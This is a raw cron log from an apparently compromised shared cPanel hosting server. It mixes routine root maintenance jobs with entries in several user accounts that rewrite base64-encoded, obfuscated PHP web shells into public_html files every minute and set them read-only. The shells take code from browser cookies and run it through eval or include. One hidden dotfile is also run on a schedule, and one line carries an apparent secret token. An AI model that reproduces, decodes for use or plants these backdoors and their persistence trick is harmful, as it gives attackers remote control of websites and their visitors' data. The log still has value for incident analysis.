Jun  7 13:09:01 medusa CROND[30444]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:09:01 medusa CROND[30445]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:09:01 medusa CROND[30446]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:09:01 medusa CROND[30447]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Jun  7 13:09:01 medusa CROND[30452]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:09:01 medusa CROND[30453]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:09:01 medusa CROND[30455]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:09:01 medusa CROND[30456]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 13:10:01 medusa CROND[32075]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 13:10:01 medusa CROND[32082]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:10:01 medusa CROND[32115]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 13:10:01 medusa CROND[32120]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 13:10:01 medusa CROND[32123]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:10:01 medusa CROND[32122]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 13:10:01 medusa CROND[32129]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 13:10:01 medusa CROND[32131]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:10:01 medusa CROND[32133]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:10:01 medusa CROND[32130]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 13:10:01 medusa CROND[32145]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 13:10:01 medusa CROND[32148]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:10:01 medusa CROND[32150]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 13:10:01 medusa CROND[32153]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 13:10:01 medusa CROND[32155]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 13:10:01 medusa CROND[32159]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 13:10:01 medusa CROND[32161]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:10:01 medusa CROND[32162]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 13:10:01 medusa CROND[32166]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:10:01 medusa CROND[32167]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 13:10:01 medusa CROND[32168]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:10:01 medusa CROND[32169]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:10:01 medusa CROND[32170]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 13:10:01 medusa CROND[32149]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 13:10:01 medusa CROND[32157]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 13:10:01 medusa CROND[32158]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:10:01 medusa CROND[32171]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:10:01 medusa CROND[32164]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 13:11:01 medusa CROND[1583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:11:01 medusa CROND[1586]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:11:01 medusa CROND[1587]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:11:01 medusa CROND[1588]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:11:01 medusa CROND[1589]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 13:11:01 medusa CROND[1590]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 13:11:01 medusa CROND[1592]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
